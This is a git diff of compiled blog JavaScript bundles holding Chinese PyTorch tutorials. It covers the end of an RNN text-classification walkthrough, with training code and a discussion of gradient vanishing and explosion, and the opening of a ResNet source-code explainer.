\u8fdb\u884c\u7b80\u5355\u7684\u6d4b\u8bd5\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u8fd9\u91cc\uff0c\u7b80\u5355\u7684\u8bb2\u89e3\u7b2c\u516d\u4e2a Cell\uff0c\u7b2c\u516d\u4e2a Cell \u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"# \u5c06 Albert \u8f6c\u4e3a 6 * 1 * n_letters \u7684 Tensor\ninput = lineToTensor('Albert')\n# \u8bbe\u7f6e h0 \u5168\u96f6\u7684\u539f\u56e0\u5728\u4e0a\u9762\u63d0\u5230\u8fc7\nhidden = torch.zeros(1, n_hidden)\n# \u83b7\u53d6 output \u548c h1\noutput, next_hidden = rnn(input[0], hidden)\nprint(output)\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7b2c\u4e09\u884c\u4e2d ",(0,i.jsx)(e.code,{children:" rnn(input[0], hidden)"}),"\uff0c\u8f93\u5165\u4e86\u9996\u5b57\u6bcd \u4e5f\u5c31\u662f 'A' \u7684 One-Hot \u7f16\u7801\uff0c\u8f93\u51fa ",(0,i.jsx)(e.code,{children:"output"})," \u662f\u4e0b\u4e00\u4e2a\u5b57\u7b26\u53ef\u80fd\u662f\u4ec0\u4e48\u7684\u6982\u7387\uff0c\u800c ",(0,i.jsx)(e.code,{children:"next-hidden"})," \u5219\u662f \u7528\u4e8e\u642d\u914d ",(0,i.jsx)(e.code,{children:"input[1]"})," \u8fdb\u884c\u4e0b\u4e00\u6b65\u8f93\u5165\u8bad\u7ec3\u7684\u6a21\u578b\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u8df3\u8fc7\u4e03\u516b\u4e5d\u4e09\u4e2a Cell \u540e\uff0c\u6211\u4eec\u518d\u5bf9 train \u6240\u5728\u7684 Cell \u8fdb\u884c\u5206\u6790\uff0c\u4e0b\u9762\u662f\u76f8\u5173\u4ee3\u7801:"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"# \u8bbe\u7f6e\u5b66\u4e60\u7387\nlearning_rate = 0.005 \n# \u8f93\u5165\u53c2\u6570\u4e2d\uff0c categor_tensor \u8868\u793a\u7c7b\u522b\uff0c\u7528\u4ee5\u8ba1\u7b97 loss\n# line_tensor \u662f\u7531\u4e00\u53e5\u8bdd\u6240\u8f6c\u53d8\u7684 tensor, shape: n * 1 * n_letter\ndef train(category_tensor, line_tensor):\n # \u8bbe\u7f6e H0\n hidden = rnn.initHidden()\n # \u68af\u5ea6\u6e05\u96f6\n rnn.zero_grad()\n # \u5c06\u5b57\u7b26\u6328\u4e2a\u8f93\u5165\n for i in range(line_tensor.size()[0]):\n output, hidden = rnn(line_tensor[i], hidden)\n # \u8ba1\u7b97\u635f\u5931\n loss = criterion(output, category_tensor)\n # \u68af\u5ea6\u56de\u4f20\n loss.backward()\n\n # Add parameters' gradients to their values, multiplied by learning rate\n # \u8fd9\u91cc\u5176\u5b9e\u662f\u4e00\u4e2a\u624b\u52a8\u7684\u4f18\u5316\u5668 optimizer\n for p in rnn.parameters():\n p.data.add_(p.grad.data, alpha=-learning_rate)\n\n return output, loss.item()\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7ed3\u5408\u6ce8\u91ca\uff0c\u8fdb\u4e00\u6b65\u89c2\u5bdf\u4ee3\u7801\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u5bf9\u4e8e\u4e00\u4e2a\u53d8\u957f\u5e8f\u5217\uff0c\u5728\u8f93\u5165\u6700\u540e\u4e00\u4e2a\u5b57\u7b26\u4e4b\u524d\uff0c\u90fd\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"hidden"})," \u4f5c\u4e3a\u8f93\u51fa\u7528\u4e8e\u4e0b\u4e00\u6b65\u7684\u8ba1\u7b97\uff0c\u4e5f\u5c31\u662f\u5c06\u5386\u53f2\u4fe1\u606f\u5e26\u5165\u4e0b\u4e00\u8f6e\u8bad\u7ec3\u4e2d\u53bb\uff0c\u800c\u5728\u6700\u540e\u4e00\u4e2a\u5b57\u7b26\u8f93\u5165\u7ed3\u675f\u540e\uff0c\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"outpt"})," \u4f5c\u4e3a\u8f93\u51fa\uff0c\u8fdb\u884c\u6587\u672c\u5206\u7c7b\u7684\u9884\u6d4b\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5728 ",(0,i.jsx)(e.code,{children:"train"})," \u4e2d\u7684\u4ee3\u7801\u8fdb\u884c\u4e86\u5bf9\u4e00\u53e5\u8bdd\u8fdb\u884c\u4e86\u5355\u72ec\u7684\u8bad\u7ec3\uff0c\u800c\u5b9e\u9645\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u8981\u5bf9\u591a\u4e2a\u53e5\u5b50\u8fdb\u884c\u8bad\u7ec3\uff0c\u5728\u793a\u4f8b\u4ee3\u7801\u4e2d\uff0c\u91c7\u7528\u968f\u673a\u91c7\u6837\u6cd5\uff0c\u4ece\u5168\u90e8\u6570\u636e\u4e2d\u968f\u673a\u63d0\u53d6\u4e00\u53e5\u8bdd\u8fdb\u884c\u8bad\u7ec3\uff0c\u5e76\u5f97\u5230\u6700\u7ec8\u7ed3\u679c\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"import time\nimport math\n# \u8fed\u4ee3\u6b21\u6570\nn_iters = 100000\n# \u8f93\u51fa\u9891\u7387\nprint_every = 5000\n# loss\u8ba1\u7b97\u9891\u7387\nplot_every = 1000\n\n# Keep track of losses for plotting\ncurrent_loss = 0\nall_losses = []\n\ndef timeSince(since):\n now = time.time()\n s = now - since\n m = math.floor(s / 60)\n s -= m * 60\n return '%dm %ds' % (m, s)\n# \u5f00\u59cb\u65f6\u95f4\nstart = time.time()\n\nfor iter in range(1, n_iters + 1):\n # \u4f7f\u7528\u968f\u673a\u91c7\u6837\u63d0\u53d6\u4e00\u53e5\u8bdd\u53ca\u5176\u6807\u7b7e\n category, line, category_tensor, line_tensor = randomTrainingExample()\n # \u8bad\u7ec3\n output, loss = train(category_tensor, line_tensor)\n # \u8ba1\u7b97loss\n current_loss += loss\n\n # Print iter number, loss, name and guess\n # \u8f93\u51fa\u9636\u6bb5\u7ed3\u679c\n if iter % print_every == 0:\n guess, guess_i = categoryFromOutput(output)\n correct = '\u2713' if guess == category else '\u2717 (%s)' % category\n print('%d %d%% (%s) %.4f %s / %s %s' % (iter, iter / n_iters * 100, timeSince(start), loss, line, guess, correct))\n\n # Add current loss avg to list of losses\n # \u4fdd\u5b58\u9636\u6bb5\u6027 loss\n if iter % plot_every == 0:\n all_losses.append(current_loss / plot_every)\n current_loss = 0\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5230\u8fd9\u91cc\uff0cRNN \u8bad\u7ec3\u7684\u4ee3\u7801\u53ef\u4ee5\u8bf4\u8bb2\u89e3\u7ed3\u675f\u4e86\uff0c\u4fdd\u5b58\u4ee5\u53ca\u63a8\u7406\u5728\u7406\u89e3\u4e86\u8bad\u7ec3\u7684\u8fc7\u7a0b\u4e0a\u5e76\u4e0d\u7b97\u96be\u4e8b\uff0c\u6240\u4ee5\u4e0d\u518d\u8fdb\u884c\u8bb2\u89e3\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u518d\u6839\u636e\u6587\u672c\u5206\u7c7b\u4efb\u52a1\u5bf9 RNN \u8fdb\u884c\u4e00\u6b21\u5206\u6790\u3002\u53ef\u4ee5\u770b\u5230\uff0c\u5728\u672c\u6b21\u4efb\u52a1\u4e2d\uff0c\u4e00\u4e2a\u5355\u72ec\u7684\u8bcd\u4f5c\u4e3a\u4e00\u4e2a\u5e8f\u5217\uff0c\u6bcf\u4e2a\u8bcd\u7684\u957f\u77ed\u4e0d\u4e00\u5e76\u4e0d\u4f1a\u5f71\u54cd RNN \u7684\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u800c\u5e8f\u5217\u4e2d\u7684\u503c\uff0c\u5219\u662f\u5b57\u7b26\uff0c\u6bcf\u4e2a\u5b57\u7b26\u90fd\u6784\u6210\u4e86\u76f8\u540c\u7684\u5411\u91cf\uff1a $1 \\times d$ \uff0c\u8fd9\u4f7f\u5f97\u8bad\u7ec3\u7684\u8fc7\u7a0b\u4e5f\u6bd4\u8f83\u7684\u7edf\u4e00\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u518d\u7b80\u5355\u7684\u4e3e\u4e00\u53cd\u4e09\uff0c\u53ef\u4ee5\u7ed3\u5408\u4e4b\u524d\u6240\u5b66\u7684 word2vec\u3001Glovec \u7b49\u6a21\u578b\u5c06\u8bcd\u8bed\u8f6c\u4e3a\u5411\u91cf\uff0c\u5c06\u4e00\u53e5\u8bdd\u8f6c\u4e3a\u4e00\u4e2a\u5e8f\u5217\uff0c\u6bcf\u4e2a\u8bcd\u8f6c\u4e3a\u5e8f\u5217\u4e2d\u7684\u4e00\u4e2a\u503c\uff0c\u8fd9\u6837\u7684\u8bdd\uff0c\u5c31\u53ef\u4ee5\u5bf9\u4e00\u53e5\u8bdd\u8fdb\u884c\u6587\u672c\u5206\u7c7b\u4e86\u3002"}),"\n",(0,i.jsx)(e.h1,{id:"rnn-\u5b58\u5728\u7684\u95ee\u9898",children:"RNN \u5b58\u5728\u7684\u95ee\u9898"}),"\n",(0,i.jsx)(e.p,{children:"\u524d\u9762\u8bb2\u89e3\u4e86 RNN \u662f\u5982\u4f55\u89e3\u51b3\u7b80\u5355\u795e\u7ecf\u7f51\u7edc\u65e0\u6cd5\u5904\u7406\u5e8f\u5217\u95ee\u9898\u7684\uff0c\u4f46\u662f RNN \u662f\u5426\u5c31\u5b8c\u7f8e\u65e0\u7f3a\uff1f\u80fd\u5e94\u7528\u4e8e\u5168\u90e8\u7684\u5e8f\u5217\u4efb\u52a1\u4e86\u5462\uff1f\u7b54\u6848\u5f53\u7136\u662f\u5426\u5b9a\u7684\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u662f\u7531\u4e8e RNN \u5b58\u5728\u4e00\u4e2a\u5de8\u5927\u7684\u7f3a\u9677\uff1a\u68af\u5ea6\u7206\u70b8\u4e0e\u68af\u5ea6\u6d88\u5931\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u91cd\u65b0\u5ba1\u67e5\u4ee3\u7801\u4e0e\u516c\u5f0f\uff0c\u53ef\u4ee5\u5f88\u8f7b\u677e\u7684\u53d1\u73b0\uff0c\u5728\u5e8f\u5217\u8fbe\u5230\u672b\u5c3e\u65f6\uff0c\u6211\u4eec\u624d\u9700\u8981\u8ba1\u7b97\u635f\u5931\u4e0e\u8fdb\u884c\u68af\u5ea6\u56de\u4f20\uff0c\u6b64\u65f6\u5c06 $\\mathbf{H}",(0,i.jsx)(e.em,{children:"t$ \u5c55\u5f00\uff0c\u5176\u5185\u90e8\u5b58\u5728 $\\mathbf{W}"}),"{hh} \\times \\mathbf{H}",(0,i.jsx)(e.em,{children:"{t-1}$\u3002\u800c\u5c06 $\\mathbf{H}"}),"{t-1}$ \u5c55\u5f00\uff0c\u4e5f\u5b58\u5728\u4e00\u4e2a $\\mathbf{W}",(0,i.jsx)(e.em,{children:"{hh}$\uff0c\u90a3\u4e48\u5f88\u660e\u663e \u5982\u679c $\\mathbf{W}"}),"{hh}$ \u5927\u4e8e 1\uff0c\u5728\u7ecf\u8fc7 $t$ \u6b21\u8fde\u4e58\u4e4b\u540e\u4f1a\u4ea7\u751f\u68af\u5ea6\u7206\u70b8\uff0c\u5982\u679c $\\mathbf{W}",(0,i.jsx)(e.em,{children:"{hh}$ \u5c0f\u4e8e 1\uff0c\u5728\u7ecf\u8fc7 $t$ \u6b21\u8fde\u4e58\u4e4b\u540e\u53c8\u4f1a\u4ea7\u751f\u68af\u5ea6\u6d88\u5931\u3002\u540c\u7406\uff0c\u5728 $\\mathbf{W}"}),"{xh}$ \u4e0a\uff0c\u4e5f\u5b58\u5728\u8fd9\u6837\u7684\u4f9d\u8d56\u5173\u7cfb\uff0c\u4e5f\u4f1a\u5bfc\u81f4\u68af\u5ea6\u7206\u70b8\u6216\u8005\u6d88\u5931\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u68af\u5ea6\u7684\u6d88\u5931\u4e5f\u53ef\u4ee5\u8fd9\u6837\u601d\u8003\uff1a\u524d\u65b9\u8282\u70b9\u7684\u9690\u85cf\u4fe1\u606f\u603b\u548c\u5360\u4e86 0.5\uff0c\u800c\u5f53\u524d\u8282\u70b9\u9690\u85cf\u4fe1\u606f\u5360\u4e86 0.5\uff0c\u968f\u7740\u5e8f\u5217\u957f\u5ea6\u7684\u589e\u52a0\uff0c\u4f4d\u4e8e\u5f00\u59cb\u90e8\u5206\u8282\u70b9\u7684\u9690\u85cf\u4fe1\u606f\u5360\u6bd4\u51e0\u4e4e\u662f\u6307\u6570\u578b\u4e0b\u964d\uff0c\u4ece 1/2 \u5230 1/4 \u5230 1/8\uff0c\u4ee5\u6b64\u7c7b\u63a8\u3002\u53ef\u4ee5\u53c2\u8003\u4e0b\u56fe\u5c1d\u8bd5\u7406\u89e3\u3002\u56e0\u6b64\uff0c\u5728 RNN \u4e2d\uff0c\u68af\u5ea6\u6d88\u5931\u5c31\u6210\u4e86\u4e00\u4e2a\u6bd4\u68af\u5ea6\u7206\u70b8\u66f4\u5173\u6ce8\u7684\u96be\u9898\uff0c\u56e0\u4e3a\u8fd9\u4f7f\u5f97\u6a21\u578b\u53ea\u80fd\u8bb0\u5f97\u79bb\u81ea\u5df1\u6700\u8fd1\u7684\u51e0\u4e2a\u8282\u70b9\u7684\u72b6\u6001\uff0c\u800c\u5f88\u96be\u8003\u8651\u66f4\u8fdc\u4e00\u6b65\u7684\u72b6\u6001\uff0c\u65e0\u6cd5\u66f4\u597d\u7684\u5173\u8054\u4e0a\u4e0b\u6587\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u6211\u4eec\u53ef\u4ee5\u8003\u8651\u4f7f\u7528 \u68af\u5ea6\u526a\u88c1\u7684\u65b9\u5f0f\u4fdd\u8bc1\u68af\u5ea6\u4f20\u9012\u8fc7\u7a0b\u4e2d\u4e0d\u5927\u4e8e1\uff0c\u4ece\u800c\u4f7f\u5f97\u68af\u5ea6\u4e0d\u4f1a\u7206\u70b8\uff0c\u4f46\u662f\uff0c\u6211\u4eec\u65e0\u6cd5\u963b\u6b62\u68af\u5ea6\u7684\u6d88\u5931\u3002\u5f53\u7136\uff0c\u4e5f\u53ef\u4ee5\u67e5\u770b\u4e0b\u4e00\u7bc7\uff0c\u9488\u5bf9 RNN \u8fdb\u884c\u4f18\u5316\u7684 LSTM\u3001GRU \u7b49\u7b97\u6cd5"})]})}function a(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(o,{...n})}):o(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>h,x:()=>l});var s=t(96540);const i={},r=s.createContext(i);function h(n){const e=s.useContext(r);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:h(n.components),s.createElement(r.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/assets/js/431952a0.922f57a5.js b/assets/js/431952a0.922f57a5.js new file mode 100644 index 0000000..bb064d5 --- /dev/null +++ b/assets/js/431952a0.922f57a5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2360],{3850:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/expansion-0109d5db605c33d1ee3b5a2b18a95927.jpg"},28453:(n,e,s)=>{s.d(e,{R:()=>o,x:()=>r});var l=s(96540);const t={},i=l.createContext(t);function o(n){const e=l.useContext(i);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:o(n.components),l.createElement(i.Provider,{value:e},n.children)}},56974:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/block-bd525508c9ef693cb5a45c56b07519d3.jpg"},58706:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>a,contentTitle:()=>r,default:()=>p,frontMatter:()=>o,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","title":"ResNet\u6e90\u7801\u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0"},"next":{"title":"Swin-Transformer\u89e3\u8bfb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb"}}');var t=s(74848),i=s(28453);const o={},r="ResNet\u6e90\u7801\u89e3\u8bfb.md",a={},c=[{value:"1 \u57fa\u672c\u4ecb\u7ecd",id:"1-\u57fa\u672c\u4ecb\u7ecd",level:2},{value:"2 \u6e90\u7801\u89e3\u8bfb",id:"2-\u6e90\u7801\u89e3\u8bfb",level:2},{value:"2.1 \u5377\u79ef\u6838\u7684\u5c01\u88c5",id:"21-\u5377\u79ef\u6838\u7684\u5c01\u88c5",level:3},{value:"2.2 \u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",id:"22-\u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",level:3},{value:"2.2.1 Shortcut Connection.",id:"221-shortcut-connection",level:4},{value:"2.2.2 BasicBlock",id:"222-basicblock",level:4},{value:"2.2.3 BottleNeck",id:"223-bottleneck",level:4},{value:"2.3 \u7f51\u7edc\u6574\u4f53\u7ed3\u6784",id:"23-\u7f51\u7edc\u6574\u4f53\u7ed3\u6784",level:3},{value:"3 \u603b\u7ed3",id:"3-\u603b\u7ed3",level:2}];function d(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"resnet\u6e90\u7801\u89e3\u8bfbmd",children:"ResNet\u6e90\u7801\u89e3\u8bfb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"resnet\u6e90\u7801\u89e3\u8bfb",children:"ResNet\u6e90\u7801\u89e3\u8bfb"}),"\n",(0,t.jsx)(e.p,{children:"\u672c\u6587\u5bf9\u6b8b\u5dee\u795e\u7ecf\u7f51\u7edc\uff08ResNet\uff09\u7684\u6e90\u7801\u8fdb\u884c\u89e3\u8bfb\u3002\u6b8b\u5dee\u795e\u7ecf\u7f51\u7edc\u662f\u7531\u5fae\u8f6f\u7814\u7a76\u9662\u7684\u4f55\u607a\u660e\u3001\u5f20\u7965\u96e8\u3001\u4efb\u5c11\u537f\u3001\u5b59\u5251\u7b49\u4eba\u63d0\u51fa\u7684\u3002\u5b83\u7684\u4e3b\u8981\u8d21\u732e\u662f\u53d1\u73b0\u4e86\u5728\u589e\u52a0\u7f51\u7edc\u5c42\u6570\u7684\u8fc7\u7a0b\u4e2d\uff0c\u200e\u968f\u7740\u8bad\u7ec3\u7cbe\u5ea6(Training accuracy)\u200e\u9010\u6e10\u8d8b\u4e8e\u9971\u548c\uff0c\u7ee7\u7eed\u589e\u52a0\u5c42\u6570\uff0ctraining accuracy \u5c31\u4f1a\u51fa\u73b0\u4e0b\u964d\u7684\u73b0\u8c61\uff0c\u800c\u8fd9\u79cd\u4e0b\u964d\u4e0d\u662f\u7531\u8fc7\u62df\u5408\u9020\u6210\u7684\u3002\u4ed6\u4eec\u5c06\u8fd9\u4e00\u73b0\u8c61\u79f0\u4e4b\u4e3a\u201c\u9000\u5316\u73b0\u8c61\uff08Degradation\uff09\u201d\uff0c\u5e76\u9488\u5bf9\u9000\u5316\u73b0\u8c61\u53d1\u660e\u4e86 \u201c\u5feb\u6377\u8fde\u63a5\uff08Shortcut connection\uff09\u201d\uff0c\u6781\u5927\u7684\u6d88\u9664\u4e86\u6df1\u5ea6\u8fc7\u5927\u7684\u795e\u7ecf\u7f51\u7edc\u8bad\u7ec3\u56f0\u96be\u95ee\u9898\u3002\u795e\u7ecf\u7f51\u7edc\u7684\u201c\u6df1\u5ea6\u201d\u9996\u6b21\u7a81\u7834\u4e86100\u5c42\u3001\u6700\u5927\u7684\u795e\u7ecf\u7f51\u7edc\u751a\u81f3\u8d85\u8fc7\u4e861000\u5c42\u3002\uff08\u5728\u6b64\uff0c\u5411\u5df2\u6545\u7684\u5b59\u5251\u535a\u58eb\u8868\u793a\u5d07\u9ad8\u7684\u656c\u610f\uff09"}),"\n",(0,t.jsx)(e.p,{children:"\u901a\u8fc7\u672c\u6587\u4f60\u5c06\u5b66\u4e60\u5230\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u68af\u5ea6\u6d88\u5931/\u7206\u70b8\u7684\u7b80\u4ecb"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u4ee3\u7801\u91cc\u9762\u4e3a\u4ec0\u4e48\u8981\u8bbe\u8ba1BasicBlock\u548cBottleneck\u4e24\u79cd\u7ed3\u6784"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u4ee3\u7801\u91cc\u9762\u7684expansion\u4f5c\u7528"}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"1-\u57fa\u672c\u4ecb\u7ecd",children:"1 \u57fa\u672c\u4ecb\u7ecd"}),"\n",(0,t.jsxs)(e.p,{children:["\u968f\u7740\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u51fa\u73b0\uff0c\u4eba\u4eec\u53d1\u73b0\u591a\u5c42\u5377\u79ef\u6216\u8005\u5168\u8fde\u63a5\u7f51\u7edc\u7684\u6548\u679c\u5927\u4e8e\u5355\u5c42\u5377\u79ef\u6216\u8005\u5168\u8fde\u63a5\u7f51\u7edc\u3002\u4e8e\u662f\u5f88\u591a\u4eba\u6f5c\u610f\u8bc6\u8ba4\u4e3a\u7f51\u7edc\u7684\u5c42\u6570\u8d8a\u591a\uff0c\u5176\u6548\u679c\u5c31\u4f1a\u8d8a\u597d\u3002\u4f46\u662f\u5f53\u65f6\u5fae\u8f6f\u7814\u7a76\u9662\u7684\u4f55\u607a\u660e\u3001\u5f20\u7965\u96e8\u3001\u4efb\u5c11\u537f\u3001\u5b59\u5251\u7b49\u4eba\u53d1\u73b0\u52a0\u6df1\u7f51\u7edc\u7684\u6df1\u5ea6\u540e\uff0c\u6574\u4e2a\u7f51\u7edc\u7684\u6548\u679c\u53cd\u800c\u53d8\u5dee\u4e86\u8bb8\u591a\u3002\u4ed6\u4eec\u8ba4\u4e3a\u5f88\u6df1\u7684\u7f51\u7edc\u65e0\u6cd5\u8bad\u7ec3\u7684\u539f\u56e0\u53ef\u80fd\u662f\u7f51\u7edc\u5728\u4fe1\u606f\u4f20\u9012\u7684\u65f6\u5019\u6216\u591a\u6216\u5c11\u4f1a\u5b58\u5728\u4fe1\u606f\u4e22\u5931\uff0c\u635f\u8017\u7b49\u95ee\u9898\uff0c\u540c\u65f6\u8fd8\u53ef\u80fd\u51fa\u73b0\u68af\u5ea6\u6d88\u5931\u6216\u8005\u68af\u5ea6\u7206\u70b8\u73b0\u8c61\u3002\u9488\u5bf9\u8fd9\u4e2a\u95ee\u9898\uff0c\u4ed6\u4eec\u63d0\u51fa\u4e86ResNet\u4ee5\u671f\u671b\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0cResNet\u7684\u51fa\u73b0\u4e5f\u8ba9\u795e\u7ecf\u7f51\u7edc\u9010\u6e10\u771f\u6b63\u8d70\u5411\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u3002ResNet\u6700\u5927\u7684\u8d21\u732e\u5728\u4e8e\u6dfb\u52a0\u4e86shortcut connection\u5c06\u8f93\u5165\u76f4\u63a5\u8fde\u63a5\u5230\u540e\u9762\u7684\u5c42\uff0c\u4e00\u5b9a\u7a0b\u5ea6\u7f13\u89e3\u4e86\u68af\u5ea6\u6d88\u5931\u548c\u68af\u5ea6\u7206\u70b8\u5e76\u63d0\u9ad8\u4e86\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u7684\u6548\u679c\u3002\u63a5\u4e0b\u6765\u6211\u4eec\u8be6\u7ec6\u7684\u89e3\u91ca\u4e00\u4e0b",(0,t.jsx)(e.strong,{children:"\u68af\u5ea6\u6d88\u5931"}),"\u548c",(0,t.jsx)(e.strong,{children:"\u68af\u5ea6\u7206\u70b8"}),"\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u68af\u5ea6\u6d88\u5931\u548c\u68af\u5ea6\u7206\u70b8\u7684\u6839\u6e90\u4e3b\u8981\u662f\u56e0\u4e3a\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u7ed3\u6784\u4ee5\u53ca\u53cd\u5411\u4f20\u64ad\u7b97\u6cd5\uff0c\u76ee\u524d\u4f18\u5316\u795e\u7ecf\u7f51\u7edc\u7684\u65b9\u6cd5\u90fd\u662f\u57fa\u4e8e\u53cd\u5411\u4f20\u64ad\u7684\u601d\u60f3\uff0c\u5373\u6839\u636e\u635f\u5931\u51fd\u6570\u8ba1\u7b97\u7684\u8bef\u5dee\u901a\u8fc7\u53cd\u5411\u4f20\u64ad\u7684\u65b9\u5f0f\uff0c\u6307\u5bfc\u6df1\u5ea6\u7f51\u7edc\u6743\u503c\u7684\u66f4\u65b0\u3002\u8bef\u5dee\u68af\u5ea6\u662f\u795e\u7ecf\u7f51\u7edc\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u8ba1\u7b97\u7684\u65b9\u5411\u548c\u6570\u91cf\uff0c\u7528\u4e8e\u4ee5\u6b63\u786e\u7684\u65b9\u5411\u548c\u5408\u9002\u7684\u91cf\u66f4\u65b0\u7f51\u7edc\u6743\u91cd\u3002 